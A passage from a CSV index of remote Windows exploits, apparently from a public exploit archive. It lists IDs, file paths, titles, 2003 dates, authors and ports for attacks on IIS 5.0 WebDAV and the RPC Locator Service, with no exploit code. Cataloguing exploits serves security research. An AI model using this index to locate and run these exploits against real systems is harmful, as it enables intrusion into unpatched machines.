Overflow",2003-03-23,kralor,remote,windows,80 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139